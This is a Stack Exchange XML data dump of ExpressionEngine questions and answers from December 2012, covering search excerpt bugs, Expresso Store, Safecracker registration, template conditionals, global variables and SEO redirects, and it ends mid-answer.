  <row Id="2097" PostTypeId="1" AcceptedAnswerId="2109" CreationDate="2012-12-27T01:06:15.480" Score="7" ViewCount="425" Body="&lt;p&gt;I have run into a strange situation where a Backward Slash \ is being added to the end of each sentence in the search excerpt field just before each period. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit\. Vivamus et sodales nunc\. Aenean sit amet massa at ante porttitor euismod a sit amet ante\. Morbi vitae est eu ante rutrum cursus sit amet nec nunc\. Aliquam erat volutpat\. Curabitur eget odio arcu, vel fermentum felis\. Sed pellentesque lorem ac nibh…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It happens no matter what type of field I have set as the excerpt (RTE or Textarea).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search results template is fairly straightforward:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;content group&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Resultados de la búsqueda&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;article primary d-all&quot;&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;You searched for &amp;lt;strong&amp;gt;{exp:search:keywords}&amp;lt;/strong&amp;gt; &#xA;        and got {exp:search:total_results}{total_results}{/exp:search:total_results} result{if &quot;{exp:search:total_results}&quot; != 1}s{/if}.&amp;lt;/p&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            {exp:search:search_results}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{site_url}{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; {excerpt}&amp;lt;/li&amp;gt;&#xA;            {/exp:search:search_results}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The slash is not being displayed within the entry template, just in the search results template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated to show text with slashes. It was removed by the SE template for some reason.&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="135" LastEditDate="2012-12-27T02:42:18.407" LastActivityDate="2013-02-03T19:37:34.383" Title="Backward Slash Added to Search Results Except" Tags="|search|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2098" PostTypeId="1" AcceptedAnswerId="2102" CreationDate="2012-12-27T04:09:13.503" Score="4" ViewCount="217" Body="&lt;p&gt;I would like Expresso Store to update my product price every time I choose a modifier. Is there an easy way to do this built into the store?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="268" LastEditDate="2012-12-29T01:04:32.980" LastActivityDate="2012-12-29T01:04:32.980" Title="Javascript Updated prices with exp:resso Store" Tags="|add-on|expresso-store|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2099" PostTypeId="1" AcceptedAnswerId="2104" CreationDate="2012-12-27T04:14:36.913" Score="2" ViewCount="243" Body="&lt;p&gt;I would like to have my clients upload a couple files when they add a product to the cart. I want to be able to do something similar to the print products on &quot;missions linked.com&quot;.&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2012-12-27T10:28:28.543" Title="Uploading file as a modifier in Expresso Store" Tags="|expresso-store|file-uploads|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2100" PostTypeId="1" AcceptedAnswerId="2288" CreationDate="2012-12-27T04:58:23.207" Score="3" ViewCount="134" Body="&lt;p&gt;I have gone to the steps in &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page to setup safecracker registration module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my form for registration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;    channel=&quot;members&quot;&#xA;    class=&quot;form-horizontal&quot;&#xA;    dynamic_title=&quot;[email]&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    include_jquery=&quot;no&quot;&#xA;    register_member=&quot;yes&quot;&#xA;    return=&quot;index.php/sign-up/&quot;&#xA;    safecracker_head=&quot;no&quot;&#xA;}&#xA;&#xA;    {if global_errors:count &amp;gt; 0}&#xA;    &amp;lt;div class=&quot;errors group tencol&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;General Errors&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;bullets&quot;&amp;gt;&#xA;        {global_errors}&#xA;            &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;        {/global_errors}&#xA;        &amp;lt;/ul&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if field_errors:count &amp;gt; 0}&#xA;    &amp;lt;div class=&quot;errors group tencol&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Form Errors&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;ul class=&quot;bullets&quot;&amp;gt;&#xA;        {field_errors}&#xA;            &amp;lt;li&amp;gt;{error}&amp;lt;/li&amp;gt;&#xA;        {/field_errors}&#xA;        &amp;lt;/ul&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Sign Up&amp;lt;/legend&amp;gt;&#xA;&#xA;        {stash:embed name=&quot;forms:fields:.email&quot;}&#xA;        {stash:embed name=&quot;forms:fields:.password&quot;}&#xA;        {stash:embed name=&quot;forms:fields:.password-confirm&quot;}&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Register&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try to submit with valid fields, I get redirected to index.php/sign-up with nothing displayed at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this form is in index.php/sign-up which means it should redirect to itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't receive any emails at all which means that registration probably failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing anything wrong here?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-01-04T00:06:22.537" Title="Safecracker Registration Form" Tags="|forms|safecracker-registration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2101" PostTypeId="1" AcceptedAnswerId="2108" CreationDate="2012-12-27T08:01:43.080" Score="2" ViewCount="73" Body="&lt;p&gt;I was trying to install Safecracker Registration with the steps from the &lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow noreferrer&quot;&gt;site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to do all the steps with no problems...except the last one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Configuring Safecracker&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Since you are using Safecracker as a registration form (at least in&#xA;  this case), you must allow it to accept data from guests. Go to&#xA;  Add-ons &gt; Modules &gt; Safecracker and find your Member channel, and&#xA;  assign a member as a guest. It is recommended you create a new member&#xA;  named Anonymous.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the page that the above paragraph refers to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z0nJK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just confused about&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Go to Add-ons &gt; Modules &gt; Safecracker and find your Member channel&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;since I don't see &quot;Member Channel&quot; anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am doing it correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I am using ExpressionEngine 2.5.5 and Safecracker Registration 1.2.0&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="28" LastEditDate="2013-01-05T03:30:01.027" LastActivityDate="2013-01-05T03:30:01.027" Title="Safecracker Registration Setup Problem" Tags="|safecracker-registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2102" PostTypeId="2" ParentId="2098" CreationDate="2012-12-27T08:30:33.257" Score="4" Body="&lt;p&gt;Store has built in dynamic price variables you can use. You can see all of the avilable variables &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#dynamic_product_variables&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You would want to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;store_product_price&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To adjust the price when modifiers are changed.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-27T08:30:33.257" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2103" PostTypeId="1" AcceptedAnswerId="6453" CreationDate="2012-12-27T10:14:35.013" Score="3" ViewCount="160" Body="&lt;p&gt;In a template I was working on recently, I started to get PHP Notices about undefined constants FALSEOR and FALFALSEORFALSE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Use of undefined constant FALSEOR - assumed 'FALSEOR'&#xA;Filename: libraries/Functions.php(683) : eval()'d code&#xA;Line Number: 205&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[and]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Use of undefined constant FALFALSEEORFALSE - assumed 'FALFALSEEORFALSE'&#xA;Filename: libraries/Functions.php(683) : eval()'d code&#xA;Line Number: 260&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template code that generated these messages was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if STYLE}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;Style&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{STYLE}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&#xA;{if YEARBUILT}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;Year Built&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{YEARBUILT} {if YEARBUILTSRC}({YEARBUILTSRC}){/if}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The variable names in all caps are variables provided by a plug-in. It is possible that they may have empty values, but I haven't been able to produce a case where any would be undefined [in the array consumed by TMPL-&gt;parse_variables() in the plugin].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped as to why they're being parsed as PHP constants... And even so, I don't see where the strings 'FALSEOR' or 'FALFALSEORFALSE' are being created. Those strings don't appear anywhere in the EE source [that I can find], and none of the template variables are so named.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I report this as a bug? Has anybody seen something like this before?&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-02-16T20:01:31.020" Title="undefined constants FALSEOR and FALFALSEORFALSE" Tags="|php|conditionals|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2104" PostTypeId="2" ParentId="2099" CreationDate="2012-12-27T10:28:28.543" Score="4" Body="&lt;p&gt;I don't think the Store module works with file upload fields as product modifiers. But, here's a possible way to achieve the functionality I think you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a &quot;designs&quot; channel with a file upload field and any necessary meta fields.&lt;/li&gt;&#xA;&lt;li&gt;Use SafeCracker to let the user submit a &quot;design&quot; with uploaded file, and upon submission, redirect the user to a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#return&quot; rel=&quot;nofollow&quot;&gt;URI containing the ENTRY_ID of the new entry&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;On that page, include a &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html&quot; rel=&quot;nofollow&quot;&gt;Product&lt;/a&gt; form, and pass the ENTRY_ID of the design [via &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;segment variable&lt;/a&gt;] into either a &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#inputcustom_modifier_name&quot; rel=&quot;nofollow&quot;&gt;modifier parameter&lt;/a&gt; or hidden &lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#modifiers_variable_pair&quot; rel=&quot;nofollow&quot;&gt;modifier field&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;When the user adds the item to the Cart, you can now reference the design via it's unique ID, which is contained in the modifier value. You can even use an embedded template or partial to pull the data from the design entry into the &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html&quot; rel=&quot;nofollow&quot;&gt;Checkout&lt;/a&gt; process.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="262" LastActivityDate="2012-12-27T10:28:28.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2105" PostTypeId="2" ParentId="2101" CreationDate="2012-12-27T10:58:04.120" Score="1" Body="&lt;p&gt;You need to create a new channel or use existing one to store the content from the Safecracker form. You also need to register a new member to so the posts have an author (who may need access to post in that channe). In short, I would create a new channel called 'forms', and a new member called anonymous to post in the 'forms' channel. &lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2012-12-27T10:58:04.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2106" PostTypeId="2" ParentId="2100" CreationDate="2012-12-27T12:52:29.303" Score="1" Body="&lt;p&gt;Try using &lt;code&gt;return=&quot;sign-up/index&quot;&lt;/code&gt;- the &lt;code&gt;index.php&lt;/code&gt; is not required, as EE already knows whether you're using index.php or not.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="55" LastEditDate="2012-12-27T13:49:16.630" LastActivityDate="2012-12-27T13:49:16.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2108" PostTypeId="2" ParentId="2101" CreationDate="2012-12-27T13:47:17.730" Score="1" Body="&lt;p&gt;You are doing everything correctly as far as I can tell. And you have a Members channel already, as it is appearing in the list. (The table with the header, &quot;Members&quot; is what I was referring to.) You could create a channel with any name and any field to store your member profiles, I just use the &quot;Members&quot; nomenclature by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially what you are doing is telling Safecracker to allow members to post anonymously without being logged in. Since every entry must have an author, you must assign an &quot;anonymous&quot; author to each new profile until the member account is created. Once the member account is created, the profile is updated with the new member_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safecracker Registration v1.2 applies a series of overrides that allows users to skip this step entirely. Since 1.2 is not yet released, I have not documented this as such.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-27T13:47:17.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2109" PostTypeId="2" ParentId="2097" CreationDate="2012-12-27T15:29:45.437" Score="16" Body="&lt;p&gt;This is a bug (&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19102&quot;&gt;see bug report #19102&lt;/a&gt;). It's because the excerpt is being filtered through PHP's &lt;code&gt;preg_quote()&lt;/code&gt;. You can either remove the &lt;code&gt;preg_quote()&lt;/code&gt; from line 1507 of &lt;code&gt;mod.search.php&lt;/code&gt; for now and just leave it as &lt;code&gt;$excerpt&lt;/code&gt; and hope you don't have anything that looks like a replacement pattern in your search excerpts, or just show the custom fields themselves in the template and limit the text with a character-limiter plugin.&lt;/p&gt;&#xA;" OwnerUserId="74" LastEditorUserId="150" LastEditDate="2013-01-01T21:21:37.387" LastActivityDate="2013-01-01T21:21:37.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2111" PostTypeId="2" ParentId="1990" CreationDate="2012-12-27T19:59:56.103" Score="2" Body="&lt;p&gt;I started troubleshooting from Twitter. First off the caveats, I haven't used CE Image, Better Workflow or NSM Transplant. But my first thought was that the issue maybe NSM Transplant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After watching the &lt;a href=&quot;http://vimeo.com/18661374&quot; rel=&quot;nofollow&quot;&gt;'advanced'&lt;/a&gt; video for &lt;a href=&quot;http://ee-garage.com/nsm-transplant&quot; rel=&quot;nofollow&quot;&gt;NSM Transplant&lt;/a&gt;, I'm fairly certain this maybe your issue.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When we look at the page preview in BW, the src for the image is&#xA;  empty. However, when we publish the page and look at it on the&#xA;  front-end, the images are output as we'd expect. - Steve Grant&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe the reason for this, is because NSM Transplant does the replacements at the template level, so unless you've created the Preview template to also contain and use the &lt;code&gt;{exp:nsm_transplant:content id=&quot;image_{row_count}&quot;}{/exp:nsm_transplant:content}&lt;/code&gt; tags, then the images won't display in preview, because they don't currently exist for the record, NSM Transplant hasn't been called yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are your preview pages custom designed? or are they just the Better Workflow preview pages? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check with Better Workflow/Electric Putty. Based on their docs, occassionally…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;N.B. Better Workflow's preview feature relies on the standard&#xA;  /template_group/template/entry_id format for its URL so you should be&#xA;  able to simply select the channel's default template. However,&#xA;  depending on how your template is constructed, it may sometimes be&#xA;  necessary to create a 'preview specific' version. &lt;a href=&quot;http://betterworkflow.electricputty.co.uk/documentation/&quot; rel=&quot;nofollow&quot;&gt;-ElectricPutty Documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But based on the video and reading skimming through the documentation, I wouldn't expect the images to fully display until after the post is published. So this maybe a situation where a specific preview template needs to be constructed for these items.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-27T19:59:56.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2112" PostTypeId="1" AcceptedAnswerId="2161" CreationDate="2012-12-27T22:03:02.417" Score="0" ViewCount="1390" Body="&lt;p&gt;I have a single entry url like site.com/forum/answers/12272 and would like to have the url_title appended like site.com/forum/answers/12272/how-big-is-a-carp. Anyone got an idea how to do this please? I'm stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you...&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2012-12-29T17:19:38.023" Title="How to add url_title as last segment?" Tags="|url-title|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2113" PostTypeId="1" AcceptedAnswerId="2122" CreationDate="2012-12-27T22:05:00.543" Score="0" ViewCount="233" Body="&lt;p&gt;I created a custom config file with my own global variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm using the EE debugger, I have an output of my global variables:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iPLLS.png&quot; alt=&quot;Global variables EE&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I guess, they exists and I can access to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when I'm using them in my files, I have no output, my CSS files are not loaded, well, there is nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{global:css_url}style.css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did I do something wrong ??&lt;/p&gt;&#xA;" OwnerUserId="665" LastActivityDate="2012-12-27T23:51:49.040" Title="Problem with custom global variable" Tags="|global-variables|debugging|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2114" PostTypeId="1" AcceptedAnswerId="2124" CreationDate="2012-12-27T22:20:01.133" Score="3" ViewCount="144" Body="&lt;p&gt;Trying to have a style sheet only used when the user is not on the home screen.  This code in my head section should work, correct?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:loc != &quot;home&quot;}&#xA;&amp;lt;style&amp;gt; body {background:url(images/interface/header_bg_slice3.png) repeat-x,    &#xA;url(images/interface/texture_bg.png) top left, repeat;}&amp;lt;/style&amp;gt;&#xA;{/if}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is the corresponding code I'm using in the page template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/html_header&quot; page_title=&quot;About Us&quot; loc=&quot;about-us&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what am I missing?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-15T12:35:21.087" Title="problem with conditionals" Tags="|conditionals|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2115" PostTypeId="2" ParentId="2112" CreationDate="2012-12-27T22:22:27.280" Score="0" Body="&lt;p&gt;You can use the &lt;code&gt;{url_title}&lt;/code&gt; variable. That is assuming that you are actually using ExpressionEngine channels and not forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't actually need the entry_id in the url, the url could just be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/forum/answers/how-big-is-a-carp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you wanted to keep, the entry_id, you can build the url on the template like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;site.com/forum/answers/{entry_id}/{url_title}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The process should be similar for forums, but I'd assume the tags/variables maybe different.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-27T22:22:27.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2116" PostTypeId="2" ParentId="2113" CreationDate="2012-12-27T22:24:28.923" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Have you tried just using the variable name?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{css_url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;If it's just a straight global variable, you shouldn't need to prepend&#xA;  it with &quot;global:&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/user_defined.html&quot; rel=&quot;nofollow&quot;&gt;User-defined Global Variable Documentation&lt;/a&gt; -- see the comments for the method I believe you're using to set the variable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please disregard my previous answer. I wasn't fully grasping how you were naming the variables. Instead, let me answer with a question: Do your other global variables work? If not, try removing &quot;global:&quot; from the variable name (both when you set it and when you use it) and see if that gets you anywhere.&lt;/p&gt;&#xA;" OwnerUserId="445" LastEditorUserId="445" LastEditDate="2012-12-27T22:32:39.067" LastActivityDate="2012-12-27T22:32:39.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2117" PostTypeId="2" ParentId="2114" CreationDate="2012-12-27T22:33:48.220" Score="3" Body="&lt;p&gt;Have you tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1}...{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In most cases, if the user is on the site index, there wouldn't be a segment_1. Just seems a much more straight-forward approach to what you're trying to achieve (from what I can tell).&lt;/p&gt;&#xA;" OwnerUserId="673" LastActivityDate="2012-12-27T22:33:48.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2118" PostTypeId="2" ParentId="2112" CreationDate="2012-12-27T22:42:40.003" Score="0" Body="&lt;p&gt;I came up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if segment_4 == &quot;&quot;}&#xA;{exp:channel:entries limit=&quot;1&quot; entry_id=&quot;{segment_3}&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;}&#xA;{redirect='forum/answers/{entry_id}/{url_title}'}&#xA;{/exp:channel:entries}&#xA;{/if}&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2012-12-27T22:42:40.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2119" PostTypeId="1" AcceptedAnswerId="2121" CreationDate="2012-12-27T22:53:09.503" Score="0" ViewCount="489" Body="&lt;p&gt;How does Google view the redirect tag, e.g:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {if segment_4 == &quot;&quot;}&#xA;        {exp:channel:entries limit=&quot;1&quot; entry_id=&quot;{segment_3}&quot; disable=&quot;categories|category_fields|custom_fields|member_data|pagination&quot;}&#xA;            {redirect='forum/answers/{entry_id}/{url_title}'}&#xA;        {/exp:channel:entries}&#xA;   {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example I could redirect:&#xA;site.com/forum/answers/123 to site.com/forum/answers/123/what-is-a-dog and have link rel=&quot;canonical&quot; href=&quot;{path='{segment_1}/{segment_2}/{segment_3}/{segment_4}'}&quot; on the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will Google make of site.com/forum/answers/123, or will it never see it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perplexing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="209" LastEditDate="2012-12-27T23:02:11.180" LastActivityDate="2012-12-27T23:07:04.930" Title="Is this a good use for the redirect tag?" Tags="|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2120" PostTypeId="2" ParentId="2113" CreationDate="2012-12-27T22:56:31.630" Score="0" Body="&lt;p&gt;It seems the global variables you have defined that are specific to the environment seem unecessary. I would just use the standard &lt;code&gt;site_url&lt;/code&gt; instead of having to define all those variables once the site is moved to a production/live server or just make them relative.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;{site_url}/assets/css/style.css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;or&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/assets/css/style.css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then any related uploaded content will be defined in the Upload Preferences: server path and URL path&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-27T22:56:31.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2121" PostTypeId="2" ParentId="2119" CreationDate="2012-12-27T23:07:04.930" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What will Google make of site.com/forum/answers/123&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It will see that as a 302 (temporary) redirect, as that's what EE sends with the &lt;code&gt;{redirect=&quot;&quot;}&lt;/code&gt; tag (which calls the &lt;code&gt;redirect&lt;/code&gt; method of the &lt;code&gt;functions&lt;/code&gt; class).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... or will [Google] never see it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That all depends on where the links to your entries are coming from. If you want your links to appear a certain way, then make sure that the rest of your site links to these entries in that way (i.e., &lt;code&gt;template_group/template/entry_id/url_title&lt;/code&gt;), and hence, Google will not have to be redirected (nor will anyone else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you for some reason do not have control over the links which point to these entries, then yes, Google (and everyone else) will trigger that redirect, and the &lt;code&gt;rel=&quot;canonical&quot;&lt;/code&gt; meta tag &lt;em&gt;should&lt;/em&gt; tell Google to remember the correct link (even though it was given a 302 [temporary] rather than 301 [permanent] 